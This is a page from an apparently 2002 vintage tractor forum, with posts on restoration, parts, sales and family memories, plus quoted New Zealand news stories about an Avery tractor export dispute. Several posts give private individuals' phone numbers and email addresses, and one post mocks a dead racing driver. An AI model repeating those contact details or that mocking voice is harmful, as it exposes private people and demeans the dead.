Wally wrote on Wednesday, October 23, 2002 (PDT):The narrow front does tend to dig in a bit in wet conditions. Mine has 5x15 tires and front and that doesn't give a whole lot of tire on the ground. Going straight isn't too bad, unless it's real wet. When you turn it might really want to dig in. As far as changing the front end... that might help, but they're difficult to find. With a wide front you might be able to put a wider front tire on which would help a bit. It would also make it much safer on slopes and ditches. Tri-cycles tend to be tippy. I'm not sure exactly what you are refering to in cutters but mine has no problem with the original IH 7' sickle mower. I've often wondered if I could put some larger front wheels on front. Yours probably has three tabs welded on the rims which holds the rim to the front wheel. H's and M's as well as 141 combines and other implements had heavier rims and tires which didn't have these three tabs welded like this. It might be possible to adapt these to a 'C'. This would allow a larger tire to be used and would provide better flotation. Hope this helps.
Bill Hanson wrote on Tuesday, October 22, 2002 (PDT):My 1943 M has fresh paint and I will have pictures in the near future. May be willing to sell and listen to serious offers. It really brings back the memories.
Bill Hanson wrote on Tuesday, October 22, 2002 (PDT):I have a 1943 M Farmall S/N 63962 new Firestone rear tires and new Titan front tires. Restored in 2002 with new pistons, sleeves and rings and sounds great. New battery & 12 volt conversion, Rockwell pulley, fenders, PTO shaft cover and fresh p
Lucky Jecs wrote on Tuesday, October 22, 2002 (PDT):I have a 63 Ford 2000 and am looking for parts or complete tractor..Please e-mail dawnluck at aol.com Thanks
Randal Patterson wrote on Tuesday, October 22, 2002 (PDT):I am looking for some used front & rear wheels for a 1938 JD-L. I can make repairs to them if needed. Also, I would like to know if anyone can tell me the web site where they have a junk yard of L's & LA's. I found it once but can't find it again. Thanks
Bruce Horne wrote on Tuesday, October 22, 2002 (PDT): My Dad bought a '47 F Cub in '69 from a farm neighbor in Bangor, Pa. It has a woods belly mower. I inherited it three years ago. I use it to mow my yard. It is all orignal, 6-volt with working lights. I am in the process of cleaning it up. It starts and runs great. I would like to get the Farmall decal that was on the hood. I live near Sanford, NC. Thanks
James Anderson wrote on Tuesday, October 22, 2002 (PDT):Both seals on front of transmission leak. Ihave new seals but I wondered if they could be replaced without splitting tractor. Any Info would be welcome Thanks
DANA STURGILL wrote on Tuesday, October 22, 2002 (PDT):Have had two 1066's over the past 25 years, two 1486's. Great tractors, my 17 yr. old son pulls a 1974 1066. He put duels on and packs it with weights. Put bigger injectors and big blower, that's all. Runs with the big boys.
Sean Matlock wrote on Monday, October 21, 2002 (PDT):Does any one know the horse power of a Farmall B. I'm entering one in a show in Houston TX and have to know th HP.
Ray Hopkins wrote on Monday, October 21, 2002 (PDT):I purchased one of these in 1972,restored it & exibited at rallies & vintge ploughing matches until I sold it on about 1990. Wonderfull machine,thoroughly enjoyed driving it everywhere I took it, only problem, other people on the road did not realise its speed and did not get out of the way.
Donna Baraw wrote on Monday, October 21, 2002 (PDT):to Steve with the govenor problems, I have a manuel that tells about it--if you e-mail me at snooks at vtlink.net I will try to send you a copy
Donna Baraw wrote on Monday, October 21, 2002 (PDT):My question is I own an Oliver 55-550? My manuel says both, are they interchangeable?I am looking for PTO clutch spider---my tractor looks exactly like the one in the picture. Has the hand lever to engage and disengage the PTO. Also how do I find out what year it is?
W Shaw wrote on Monday, October 21, 2002 (PDT):I have a 1953 Super W4 with loader in excellent working condition. Looking to sell.
matt m wrote on Monday, October 21, 2002 (PDT):still looking for that G in Central Pennsylvania, any leads are welcomed.
Phil Smitty wrote on Monday, October 21, 2002 (PDT):That's real stupid painting a farmall black in memory of DE ( his name ain't worth typing out ), get over it he's dead. Anybody who morns a dead racing guy has major issues. You just ruined your tractor. The loser deserved what he got anyways.
Kim Van Peursem wrote on Sunday, October 20, 2002 (PDT):I would like to purchase a good D-21 and a 220. Never had one, but would sure like one,Phone 712-737-2164
JimB in Texas wrote on Sunday, October 20, 2002 (PDT):I have a IH 444 missing side panels and need some other replacement parts. Would appreciate information to where I might locate panels and parts.
Greg wrote on Sunday, October 20, 2002 (PDT):Many years ago my grandfather bought a 3 cylinder Diesel english made Ford. It has live pto and live hydro with a 3 point hitch, I was woundering what it is and what it is worth?
Keith Kilber wrote on Sunday, October 20, 2002 (PDT):My dad had 2 MM U's which we used to pull JD 3 bottom plows with pony drills for seeding small grains. He sold one of the tractors when I went into the Army. He kept the other and used it until he passed away. We would now like to sell it. It is a 1954 model with standard front. I can mail pictures if you want to email me. Thanks
Orest Panchuk wrote on Sunday, October 20, 2002 (PDT):I have a tractor that looks similar to the one on the picture, It has the side shields and a fancy grill in the front (sq wire mesh) It has been sitting for 40 ?? years. Can it be a 10-20? any interest?
Gary Kasparek wrote on Saturday, October 19, 2002 (PDT):Please disregard my previous post. If I would have opened up my bonehead eyes, I would have seen serial numbers listed. By the way, it's a 1960. Thx G
Andy Terrell wrote on Saturday, October 19, 2002 (PDT):my dad just bought a AC_B and can only find 2 numbers on it. one is u1416 found on the tranny and the other is b3498 can any one tell me what these mean?
Lloyd Powell wrote on Saturday, October 19, 2002 (PDT):I have just been offered a late model 560d, wide front, 2 pt hitch, 2 new rear tires, said to be in great shape 'cept for being weathered, $3000.00. I have a small ranch and will be using to work hay, I have a new holland 7 ft disc mower and am wondering if the hyd will pick up the blade. Is it expensive to put on a 3 pt conversion? I have a 53 super M with a 3 pt conversion a great tractor but the hyd is not strong enough. Is the proce to much for the 560? pls let me hear from some of you with 560d. muleskinner at ev1.net. thanks
Christophe wrote on Thursday, October 17, 2002 (PDT):I'm French and I have a Canadian Pony, and also another which was completely built in France. If somebody wanna talk about that and/or send me some pictures, go ahead!
RICHARD MOORE wrote on Thursday, October 17, 2002 (PDT):I have a 1942 B that was a gift from my father in law. I had set up a three point hitch on it and it worked perfectly until i hit a big bump and bounced the box scraper that was in the raised position. Since then it won't hold lift pressure unless you provide lift from the pump. Any ideas on what I broke would be appreciated. I love this old tractor.
Gary wrote on Thursday, October 17, 2002 (PDT):Have 560D wide front orchard tractor what would one in great shape be worth ?
Cory Mayfield wrote on Thursday, October 17, 2002 (PDT):Fucking cool man!
LOUIS KROCK wrote on Thursday, October 17, 2002 (PDT):I purchased a 1948D Leader last July from Michigan. I fixed it up took it to Portland in. to the tractor show. I joined the Leader club and had a lot of fun.
Joel Rhoades wrote on Thursday, October 17, 2002 (PDT):My father used one on his farm south of York, Nebraska. We used to drive it all the time and it would start easily with the first or second crank. My brothers would have a contest on who could start it with the least cranks. We had to sell it at a farm sale in 1982, while I was in the Army. I would like to get it back and restore it, if possible. I don't know who bought it. How can I find out and find it? Please help if you can.
Joel Rhoades wrote on Thursday, October 17, 2002 (PDT):My father used one on his farm south of York, Nebraska. We used to drive it all the time and it would start easily with the first or second crank. My brothers would have a contest on who could start it with the least cranks. We had to sell it at a farm sale in 1982, while I was in the Army. I would like to get it back and restore it, if possible. I don't know who bought it. How can I find out and find it? Please help if you can.
Tim Kick wrote on Thursday, October 17, 2002 (PDT): I just purchased a 1933 flathead F12. I'm looking for some engine parts along with a picture of this type.
Ron Weyer wrote on Wednesday, October 16, 2002 (PDT):The second tractor I remember my father buying was a 2010 JD. The first was a John Deere A ,which my father later sold regretably! The 2010 was the main reason my dad swithched from John Deere to IH/Farmall. The 2010 was the biggest pile of junk I have ever seen and my grandfather and all my uncles are John Deere men and they all agree the John Deere 2010 was the equivelant to the Ford Edsel. I have recently purchase a 1020 and could not be happier! After my dad used it for a few jobs, He agreed nothing runs like a DEERE
Lloyd T. Powell wrote on Wednesday, October 16, 2002 (PDT):I have a 53 super m and use it daily haying and around the ranch, I am loking for a way to increase HP without having to put in a stroker kit. It is lpg. It runs great is real strong but the hyd system is not strong enough to lift the blade of my disc mower any suggestions please.
James Russell wrote on Wednesday, October 16, 2002 (PDT):I own a 1963 series III D17. First ALLIS that I have used like it quite well. It came with a two mounted cornpicker It is a nice straight tractor that I would like to restore. I would like to find the correct color for it as they tell me it is know longer avialeable. I got the paint codes but can't get anyone to mix it. Also need to know where to put the headlights as there are no holes where I have seen them put. It has tail lights but no headlights maybe because of the picker. Thank you for any information. email at jamar at usachoice.net I own a 1963 D17 series III. First ALLIS that I have used it
rene j. patenaude wrote on Wednesday, October 16, 2002 (PDT):I am trying to find pictures and the case eagle enblem for a 1955 case 400 . tell 802 988 9681 ask for rene.
Dave Larsen wrote on Wednesday, October 16, 2002 (PDT):Like many of you, I grew up on the F-14, given us new,by a great uncle in 1938. It powered Grandpa's thresher, a Belsaw 12' carriage sawmill, a Belsaw 12" planer, pulled logs to the mill, cut hay with the 7' bar, pulled the wagon and hayloader...........well, all the stuff needed on the farm. I too, started it by standing on the crank, as a young boy, so that we could drive it to Cox's pond up the canyon to go swimming. I am rebuilding it now, after dad had let it sit idle for years when the tires wore out. I have two other F-14's, one running and one for parts, but maybe I'll rebuild both and find other sources for parts. Glad to read other's comments about nostalgic moments with a real friend........the F-14
Richard Krusewski wrote on Wednesday, October 16, 2002 (PDT):I have a 1941 Case V C. Can anyone help me and tell me where I can get parts, and informatoion. Anything will be helpful.
Eric R wrote on Wednesday, October 16, 2002 (PDT):I am restoring a number of Cub Implements and am in need of some help. I have been unable to find the correct blue that was used on some of the Implements in the 1940's. I have Implements form 1947-49. I also have a 1948 Cub that I restored a couple of years ago. I would very much appreciate any and all help that anyone can offer. Please email me with any information. Thank you...
D0N TURNER wrote on Wednesday, October 16, 2002 (PDT):I HAVE A SUPER DEXTA 2000 THAT I JUST GOT. NEED TACKFOR DASH AND ANY INFO. THANKS DON
conrad wrote on Tuesday, October 15, 2002 (PDT):I am looking at buying a 1952 super c farmall. It is in very good shape, it is a one-owner tractor. I am going to use it mostly for bushhoging. It has the tricycle front end. Will this type of front end dig into my pastures if they are wet? Can you change the front end out with a wide type? I would like to know if a super c can take a sickle type side blade for cutting pasture . Thank you Conrad
richard tolbert wrote on Monday, October 14, 2002 (PDT):my father and i are looking for a D-17 for possble restoration. if the price is right and not too far away thank for any imformation
Joe wrote on Monday, October 14, 2002 (PDT):I have just bought a 560 D and plan on pulling it in western Pa.If anyone knows a good motor man some one who can really make it run please let me know
Renee wrote on Sunday, October 13, 2002 (PDT):My grandfather had an Oliver 550 and my father just bought one. His winter project this year is fixing it up. I am looking for Decals for the Oliver 550 year 1957. All the decals that i find are for either Oliver 550(early) or Oliver 550(late). I don't know it a 1957 is early or late? any help is appreciated. Thanks
erik wrote on Sunday, October 13, 2002 (PDT):We have a fordson major diesel in our sailing club. They asked me to get it working again. They told me the dynamo doesn't work anymore and the battery is flat. Maybe somebody can give me some advice in advance. How can I determinate wat it's age is ? Maybe we will sell it.
Jack M. Goldberg wrote on Sunday, October 13, 2002 (PDT):HELP, can anyone tell me what a 1950 Case V 161 or VT 161, not running is worth, or about how much I should go, NEW at this, please HELP, thanks.
Bobby Singleton wrote on Sunday, October 13, 2002 (PDT):I have a 1957 farmall cub for sell.With belly mower. serial no.161034J changed to 12 volts system, new brakes pto and hydr.I live just north east of montgomery al just tuned up .new plugs wires ,good condition. will sell for 2,500 dollors. it is a true antique. runs good a little smoke when it first cranks.
Jason Pressley wrote on Saturday, October 12, 2002 (PDT):My father and myself have a 420w and we use it on our farm.It has been in our family for about 40 years.It is in near perfect shape.We have a belly mower(cycel)with it,even though it has a three point hitch.Would like to hear from someone.Thanks JP
Kevin Morrison wrote on Saturday, October 12, 2002 (PDT):Have recently restored a 1955 model 40. Looking to add to my "collection". My little guy would like a model 20 or 60. Am willing to travel wherever to pick up. Please advise via return e-mail. Thanks
hans struber wrote on Friday, October 11, 2002 (PDT):i am looking for a fordson super major
Bob Jones wrote on Friday, October 11, 2002 (PDT):looking for a used plow 2 bottom-3point with coultures complete and reasonably priced. thanks Bob
John Chandler wrote on Thursday, October 10, 2002 (PDT):have super 44 and am looking to restore it....where do I get manuals and parts for it...what should oil pressure be?
Paul Anderson wrote on Thursday, October 10, 2002 (PDT):I have an International 300 for sale. I belive it to be from 1954. It is in great shape - has a front end loader, an additional snow bucket, rear tire chains, pto. I am asking $3200.
Roger W. Foster wrote on Thursday, October 10, 2002 (PDT):I am new to this listing but am interested in purchasing a JD B or 60 for work on the farm here in Southern PA. We used to own both, an they were excellent for our hay operations.
Shannon wrote on Thursday, October 10, 2002 (PDT):Robinson. Your model B has about 10-15 horsepower.
Kent Atkinson wrote on Thursday, October 10, 2002 (PDT):My name is Kent Atkinson and I am a reporter with a New Zealand news agency. I have two groups of people making competing claims about an Avery 5-10 tractor. One says it was probably made/imported in 1910, but the other group, which has a vested interest in making it seem more commonplace (and so able to be exported) claims that it was only produced from 1916. This seems to be at odds with the picture on this website of a 1910 version. Any (brief) suggestions? Also, mention is made in one of the stories of an Avery 5-10 being sold in the United States in the past week -- can anybody tell me approximately how much it sold for in US dollars or is there some other indicationof the dollar value of an Avery 5-10? Thanks - I've included the two stories below; Wanganui, Sept 18 - Vintage tractor enthusiasts are battling to have Minister of Arts, Culture and Heritage Judith Tizard use the Antiquities Act to declare a rare old tractor should not be exported by its Irish purchaser. The ministry declined the export permit in July, but Irish owner Gerry King has appealed and a spokeswoman for the ministry, Margaret Marks, said today the decision was now in the hands of Ms Tizard. This is the first time the ministry has declined an export permit for a tractor of this nature, and if Mr King's appeal is unsuccessful, the ministry will order the rare Avery tractor stay in New Zealand. Rural contractor Roger Mahon, a critic of the efforts to ship out a crucial piece of the nation's history, said the tractor was the only known model of its kind in New Zealand and was one of the earliest tractors to come to this country. The rare friction-driven machine was imported to New Zealand by Wanganui-based company Hatrick and Co during the very early years of last century. It was reputed to be the first tractor to arrive in Wanganui. Further checks worldwide have only located one other in the United States and that was claimed to have been made in 1910. Mr Mahon said its model designation of 5-10 referred to five horsepower at the drawbar, and 10 horsepower on a belt pulley. Its transmission was a friction-drive, a right-angled flange wheel against a large flat faceplate. The transmission drive flange had a fibre outer surface that could be disengaged simply by moving it away from the driving faceplate. The tractor's speed could be varied by moving the drive closer to the centre of the plate, for a slow speed, and out to the outer edge to go faster. For ``reverse gear'' the drive switched to the opposite side of the flange plate. ``Friction drives were simple and gave a variation of speeds when most other tractors had only one forward gear,'' Mr Mahon said. ``The Avery did a lot of farm work from ploughing, discing and pulling hay carts to sawbench work,'' Mr Mahon said. To use the belt pulley. with the tractor stationary, a locking pin and transmission drive cog had to be removed. The New Zealand model has had a more modern carburettor and magneto fitted but started out life with trembler buzz coils similar to Ford's Model T, powered by dry batteries. Mr Mahon said the mid-mounted seating position was only common to the earliest of tractors, as were totally exposed drive gears to the rear wheels. It was discovered nearly 30 years ago through a chance meeting in Levin. Mr Mahon was a contractor on a rural water scheme for the Horowhenua District Council in 1973 when hunter Bob Burling told him of the ``funny-looking old tractor'' that had been abandoned under a collapsed shed at the head of the Waitotara Valley, near Wanganui. ``Bob had stumbled across the tractor during a hunting trip and would have loved to have bought it, but there was no way of getting it out. He took photos of it and removed the name plates, which he still has.'' A local farmer, Simon Pearce, cut an access track with a D4 bulldozer to tow the tractor back to his farm further down the valley. ``Using a few farm tools, Simon managed to get the tractor running after pouring diesel down the cylinder bores to unseize the pistons,'' Mr Mahon said. ``He told me he used to drive it from his farm homestead out to the road to collect his mail and stores.'' During the 1970s, while installing a fibre optic cable from Levin to Patea, Mr Mahon found Mr Pearce had sold his farm. He had also sold the tractor for $300 to a Hamilton man, but he'd forgotten the buyer's name. Later Mr Mahon was told by an antique tractor enthusiast, Alan Marx from Eltham, that the very rare Avery tractor had been sold to an overseas buyer who was seeking an export permit. ``I wrote a strongly worded letter opposing the permit giving the history I had about it. It amazed me I was the only person at that stage to know where the tractor had come from and the little history about it,'' Mr Mahon said. ``After Hatrick imported it to Wanganui it was sold to the Waldie family who developed a farm from bush land at the head of the Waitotara Valley. They sold the farm about 1946. Hatrick became New Zealand agents for Avery and sold tractors and products throughout New Zealand,'' Mr Mahon said. ``Most people I have spoken to would like to see the tractor returned to Wanganui where it began life in New Zealand. ``If the people of Wanganui don't want it, I'm sure somebody in New Zealand will buy it,'' Mr Mahon said. NZPA WGC kca Timaru, Oct 11 2002 - An international tug-of-war over a rare vintage tractor being exported from New Zealand by its Irish owner is still waiting on a decision by Arts, Culture and Heritage Minister, Judith Tizard. The Ministry of Arts the Culture and Heritage declined in July an initial first application for an export permit, but owner Gerry King appealed, and vintage tractor enthusiasts who say the tractor is part of the national heritage want Ms Tizard to block the export. A spkoesman for the minister said today Ms Tizard was seeking independent advice before making the decision. The friction-driven tractor is housed at Ben Lewis' property in South Canterbury awaiting Ms Tizard's decision. Mutual friends in Northern Ireland put Mr King in touch with Mr Lewis, who in April agreed to pack the tractor ready for export. The tractor had been for sale for about four years before Mr King paid ``a considerable amount'' for it, Mr Lewis said. He would not disclose the price paid for the tractor. Mr Lewis said today there was a lot of misinformation being spread about the tractor, which would hinder the export being approved. He suggested rural contractor Roger Mahon, a critic of efforts to ship out the tractor, was wrong in thinking the tractor was the only known model of its kind in New Zealand and one of only two in the world. It was not one of the earliest tractors to come into this country, Mr Lewis said. The first tractor was imported in 1904, but Mr King's friction-driven machine was imported by Wanganui-based company Hatrick and Co around 1918, he said. The American Avery tractors of this 5-10 model were in production from 1916-1920. ``This was not the first tractor in this area, as Mr Mahon claims, and is not the only tractor of its kind,'' Mr Lewis said. ``One sold last week in America.'' Mr Lewis said several parts of the machine were not original, including the chassis rail (where the serial number indicating the tractor's age would have been written), the ignition system, side rails, engine bonnet, seats, and fuel tank. Mr Mahon claimed the tractor did a lot of farm work including ploughing and pulling plough carts, but Mr Lewis disagreed. Mr Lewis said this was misleading. There was very little wear and tear on the tractor, which indicated it had done little work. Before buying the tractor Mr King checked regulations regarding its export to Ireland and was given the ``all clear'', Mr Lewis said. ``Mr King had been supplied with incorrect information. He had done everything that should have been necessary, but now finds he was given the wrong information.'' Mr Lewis hoped once Ms Tizard learned the tractor was not as rare as Mr Mahon claimed she would approve the export permit. He said Mr King was very frustrated that he was unable to have his tractor. CAPTION; Ben Lewis with the antique tractor that enthusiasts are fighting to keep in the country.
Ed Rothermel wrote on Wednesday, October 09, 2002 (PDT):I Bought a cub in summer of 2001 have taken it appart rebuilt and stripped paint have it ready to repaint and putback together but am missing # plate Anyone know where i can purchase one? dont know what year it was made? many thanks Ed/
John Bowlby wrote on Wednesday, October 09, 2002 (PDT):My telephone # 1- 814-926-2747
shannon blythe wrote on Wednesday, October 09, 2002 (PDT):I have a 1935 wc pulling tractor and a 1937 unstyled wf.My puller has seen three engine rebuilds,and is now better than 85 horsepower.Lots of work, and lots of time has been spent on this one.I am 25 now when my father bought it for me i was 11.Fourteen years with my WC,and still love to take it out and giver HELL.P.S. Ihave lots of sources for styled and unstyled parts
rick truelock wrote on Wednesday, October 09, 2002 (PDT):I have 8n ford I allso bought frontend loader modle 19-21 Dearborn Dearborn Farmequipment. I need some parts like the pump'pins'ext
Robinson wrote on Wednesday, October 09, 2002 (PDT):I recently bought a 1949 Allis Chalmers B. Does anyone know what kind of horsepower it has?
jospeh wrote on Wednesday, October 09, 2002 (PDT):Ah nice...................
W.W. wrote on Wednesday, October 09, 2002 (PDT):no such thing as a 150
Stephen Brodie wrote on Tuesday, October 08, 2002 (PDT):I was raised on John Deere green and still love the stuff, but just aquired a 930 and a 500. As a kid if 15 I worked for Farms in Alberta and had the opportunity to spend many hours on a 500. It was a brute compared to Dad's JD 70 Diesel, and it would have pulled that machine around against it's will. I remember the heat from that beast and the lulling sound of that fine machine, and the fact that it never broke, It's taken me 40 years to get back to driving one and it's Not for sale. I even called my last kid Case Brodie.
Alan Dickson wrote on Tuesday, October 08, 2002 (PDT):I have a Case 800 O Matic. Restoring but can't seem to get the radiator off because of a hydraulic line on the bottom that I can't get a wrench on because of close quarters. Has anybody had that problem. I think it's about 1960 or so vintage and runs beautifully on propane. Left out in a field in the Rain in Wa. State for 15 years, I rescued it put on new points, plugs, condenser and plug wires and it started up immediately but I need to get that radiator off.
Wayne Hauck wrote on Tuesday, October 08, 2002 (PDT):Need a water pump for a 1947 row crop 70.
SHANNON BLYTHE wrote on Monday, October 07, 2002 (PDT):I HAVE A UNSTYLED WF #214 AND NEED A STEERING BOX PLEASE HELP.THIS PART MUST BE HARD TO FIND
Rodney wrote on Monday, October 07, 2002 (PDT):I have four vac tractors and one parts tractor. I was not a case lover until my first one was given to me. After using that tractor I got over my redpower addiction and it is case all the way. I must confess that I do still have my F-12 and a F-20 as well, but they are just play toys! I use the vac to bush hog, belly mower to cut grass, tiller for garden, and a baler and rake, cultivator, but I need a sickle mower.
Lee Roy West wrote on Monday, October 07, 2002 (PDT):I recently purchased an International Cub Lo-Boy serial# 13825J can anyone provide me with any information about this tractor?
John Floyd wrote on Monday, October 07, 2002 (PDT):I have what I think is a 541 offset also has high wheels. I would sell but like many others on this forum just wnat more info for now. Mine is painted red but doesn't look to be original? Any links to good pictures?
Chris wrote on Monday, October 07, 2002 (PDT):We have a 1949 m that we completely restored internally and externally we painted it jet black and put a number 3 on the side in memory of Dale Earnhardt and the motor we have turning almost 100 horse power and placed third in the state of MI in the 6000 LBS. class
BOB NEWMAN wrote on Sunday, October 06, 2002 (PDT):IM LOOKY FOR A AC MODEL G THAT IS RESTORABLE IN AND AROUND MONTANA
Thom wrote on Sunday, October 06, 2002 (PDT): I operated an M Farmall for 4 years in the 60's. I cut grass on a 100 acre airport in northern VA. We used a 91/2 Woods mower.We tried an H first,but it didn't have enough power. The M is a power house.
Loren Furland wrote on Sunday, October 06, 2002 (PDT):My family owned a 1936 F-20 purchased in 1936 and sold in 1952.It was battleship grey, had 2 hand operated brakes and was converted from steel wheels to rubber tires in about 1949. I remember a heavy cast iron steering wheel which could be spun when the tractor was running ar 4 to 6 mph and the operator could simultaneously jerk the brake to turn a square corner quickly. It had a magneto and hand crank starting, with no lights.
Baren Stewart wrote on Sunday, October 06, 2002 (PDT):I just pulled a rock ol out of the bush to restore. Ibelieve they were built by co op and sold in canada but am having trouble finding any info ,looks really similar to this one . It was painted bright red.
Dick Souza wrote on Sunday, October 06, 2002 (PDT):We are looking to find out what year our case tractor is. I have the serial number and am guessing that it is an SC because of the serial number. The number is 4905564SC. Can anyone tell me how to figure out what year it is?
Stan Dumolt wrote on Saturday, October 05, 2002 (PDT):I have what I thought was a WD but I had it put in the shop for repairs and was told it was a WD45 how can I tell for sure what it is and what year it is. I really love it it's agreat tractor. So if someone could E-mail me and let know somethings about it.
Ken Mack wrote on Saturday, October 05, 2002 (PDT): Have three cockshutt 40 tractors for sale. One E4 E3 with adustable front end. call 865 984 4709.
Bob S. wrote on Saturday, October 05, 2002 (PDT): I have a Farmall Model B 1940 with single front wheel also with a Woods 306 Belly Mower. Fair condition asking $2500.00 contact me at (574)826-4440 or email at jtprimmer at earthlink.net
Nina/Jim wrote on Saturday, October 05, 2002 (PDT):We have a 3000 ford in perfect condition that we want to sell if your interrested please e-mail us at gofurit at hotmail.com. Thank you.
Nina / Jim huntsman wrote on Saturday, October 05, 2002 (PDT):is your tractor for sale? If so what are you asking for it?
Jim Kennedy wrote on Friday, October 04, 2002 (PDT):I just purchased a oliver 60 it is a 41 but is panited red does not look as though it was repainted is there anyone who knows a reason.
Art wrote on Friday, October 04, 2002 (PDT):I'm looking for a John Deere M-430 unrestored and preferably with a wf. 3 pt. thank-you
STEVE MURRELL wrote on Friday, October 04, 2002 (PDT):I have been told that some of the older d17 tractors were set up like the old jd's with the rock shaft 3pt.It was up or down ,no in between. Is this true if so what year d17 was like this?When did they stop putting the high preasure hydrolics on the d17?
STEVE MURRELL wrote on Friday, October 04, 2002 (PDT):I have been told that some of the older d17 tractors were set up like the old jd's with the rock shaft 3pt.It was up or down ,no in between. Is this true if so what year d17 was like this?When did they stop putting the high preasure hydrolics on the d17?
STEVE MURRELL wrote on Friday, October 04, 2002 (PDT):I have been told that some of the older d17 tractors were set up like the old jd's with the rock shaft 3pt.It was up or down ,no in between. Is this true if so what year d17 was like this?When did they stop putting the high preasure hydrolics on the d17?
STEVE MURRELL wrote on Friday, October 04, 2002 (PDT):I have been told that some of the older d17 tractors were set up like the old jd's with the rock shaft 3pt.It was up or down ,no in between. Is this true if so what year d17 was like this?When did they stop putting the high preasure hydrolics on the d17?
Cullen Batz wrote on Friday, October 04, 2002 (PDT):I recently recieved my great grandfathers Oliver 70. It's fun to drive and runs well. It's got a great road gear and starts well on those cold Minnesota winter days.
Cullen Batz wrote on Friday, October 04, 2002 (PDT):I recently recieved my great grandfathers Oliver 70. It's fun to drive and runs well. It's got a great road gear and starts well on those cold Minnesota winter days.
Alex Blackerby wrote on Friday, October 04, 2002 (PDT):i have two m5's that are the same year as this one but they run on LP gass and i don't think that your front end is right it looks more like a g6 front end hope this helps.
Perc wrote on Friday, October 04, 2002 (PDT):I have a 44 deisel (1950) that my father purchased new. I had it in A-1 condition. As the result of a barn fire, it is not in A-1 condition anymore. It needs all tinwork, tires etc, but think the motor & transmition are OK? Also have a 1957 Mustang which I started to restore, but am not a tinker so has sat partly tore down, was running good when I started & is not seized up, has new tires. Could someone use any of these?
Jon Nelson wrote on Thursday, October 03, 2002 (PDT):I Have a 1939-H and i need a seat for if any one out there can help please E-Mail me thanks P.S. in 1939 when they first came out they started the VIN # at 501 and my tractor has a # of 1060
Glenn T. Jordan wrote on Thursday, October 03, 2002 (PDT):I have an old Internatioal Harvester that I'm trying to find more info on and ultimately restore. The serial plate says Model FC Serial #22189, 1815 rpm max idle speed. Can anyone help me find the year this tractor was made? Thanks.
Robert J. Smith wrote on Thursday, October 03, 2002 (PDT):My first tractor was a Farmall M. The first thing I ever learned to drive was an M. It came to great surprise to know that the tractor I grew up with and loved would someday be mine. My grandpa gave it to me 2 years ago. Since then I have done everything that I could to keep her at her best. I would gladly take a Farmall M over any other tractor. What a great one she is.
Wayne Trundle wrote on Thursday, October 03, 2002 (PDT):I,m the proud owner of a super 55. Funny thing is I didn't know what a great tractor it was until I bought it. I had the hyd. pump rebiult but the guy told me it was too far gone to really work good. now I'm looking for a new pump (internal) and I need the part no. and a source to buy from. Also recently 2nd gear blew out which means I lost 4th as well in the 6 speed trans. I would like to buy a complete gear assembly. any help would be greatly appreciated.If I can find the parts, I'm going to do a total restoration on this liitle beauty. I look forward to hearing from all you oliver fans. thanks
Steve Skerritt wrote on Wednesday, October 02, 2002 (PDT):For the best looking tractor of all time,,, no comparisons even close. 1568 Black Stripe Series. Polish up the chrome, fire up the V8 power, and watch the kids step back (green boys too)!!! Amachine like this is virtually priceless
rmlj wrote on Wednesday, October 02, 2002 (PDT):Looking for parts for Oliver Hart Par, Oliver 60, Oliver 88 Standard and Super 77 Diesel. Can anyone help?
Steve Sorensen wrote on Wednesday, October 02, 2002 (PDT):Looking for model R, Prefer not running, any year.I live in Iowa. E mail or phone 319-626-3075
Dave Lucht wrote on Wednesday, October 02, 2002 (PDT):To Justin Kuck; Check with the State Historical Archives of Wisconsin. (608)264-6484. They have a wealth of info and will copy anything they have and send to you. For items you need to buy-- try Jen Sales at Albert Lea, Mn. 1-800-443-0625. Good luck on your project.
Ole Bekkedal wrote on Wednesday, October 02, 2002 (PDT):In our collection we have a John Lauson tractor, model 15-25, serial number 230. It has been standing outdoors for decades, but the engine is running, and we have most of the parts. We have done some restoration, but need help with some details of the cabin. Does any one have one of those or know of one, where we could get some measures?
Milton Stevenson wrote on Wednesday, October 02, 2002 (PDT):Does anyone know of a Farmall F-30 Cane Tractor for sale?
Norris McCarty wrote on Wednesday, October 02, 2002 (PDT):I have a 47 "B" for sale. Tractor is in very good condition. Has starter and generator. Also starts easily with crank. Tractor is all original. Paint is faded but not a single dent or ding. Rear tires great. Front tires ok. call 915-223-2886 ask for Norris (San Angelo,Tx.)
Sharon wrote on Wednesday, October 02, 2002 (PDT):Whoops...........Correction; I don't 'own' the tractor in the picture, I own one like it. Please excuse goof.
Keith DeSantis wrote on Wednesday, October 02, 2002 (PDT):Looking for some help in I/D what I know are Farmalls I think one is a F-14 fairly good shape has a 14 inch plow attached was running a year or so ago from what I been told/seems to be all there,the only thing I did notice was someone welded the wheels to the axles.The other I think it is a F-12 pretty tuff shape motor is apart head is off I was told it has a cracked block.What is the differance in the two models are part interchangeable,and where can I expect to find the ser# tags,what are they worth any help would be appriciated.I live in New Hampshire.
Ian Sanders wrote on Wednesday, October 02, 2002 (PDT):I currently have a 1946 Series One Mark One field marshall fully restored for sale and a 1947 Fowler VF Crawler complete with Dyson trailer. If you wish to contact me drop me an email.
John Bowlby wrote on Tuesday, October 01, 2002 (PDT):Wanted Cockshutt model #30 Grills And Nose Piece.Thank You
Bob Carney wrote on Tuesday, October 01, 2002 (PDT):wonder if a loader can be added to my super dexta
Russell Necessary wrote on Monday, September 30, 2002 (PDT):I have recently purchased a M5 Ineed help finding parts,manaual, overhaul kit, and Im in real bad need of one head. please hurry this is a project of my daughter and mine and she is growing up fast. thanks
Devin D........ wrote on Monday, September 30, 2002 (PDT):have all kinds of questions just bought a oliver 60 haven't a clue where can i get parts anywhere in texas?
Clem geiger wrote on Monday, September 30, 2002 (PDT):I purchased a small cocshutt this summer. It's a clean machine. Someone removed the tag that identifies the model number. the tag was on the shroud just under the instrument panel. Does anyone have any idea how I can identify the model number. I suspect it was made after Oliver owned both cockshutt and Fiat. Fiat is stamped on the Tach, casting tie rod, and electrical panel. Any help would be appreciated.
Ben in Indiana wrote on Friday, September 27, 2002 (PDT):Just finished a 1946 H with my ag classes at school. I'm the teacher. It runs great and looks great. It will be in a parade this week end. Check with your local high school ag classes for help on tractors and also volunteer to help them out sometimes with their needs.
Norbert Hesseln wrote on Friday, September 27, 2002 (PDT):I am looking for stabilizer bars for an Oliver 550. They are for the 3 point hitch. They keep the 3 point from moving from side to side.
cody wrote on Friday, September 27, 2002 (PDT):i have a oliver 60 industrial the serial number is 460001
Matt Hines wrote on Thursday, September 26, 2002 (PDT):I want to put a continuous pto option on one my MM U tractors- and I was wondering if it is possible to add that other pto clucth to a tractor that didn't have it. I read the manuals and it looks possible- I was just wondering any comments/suggestions on going about this- thanks. Please email me.
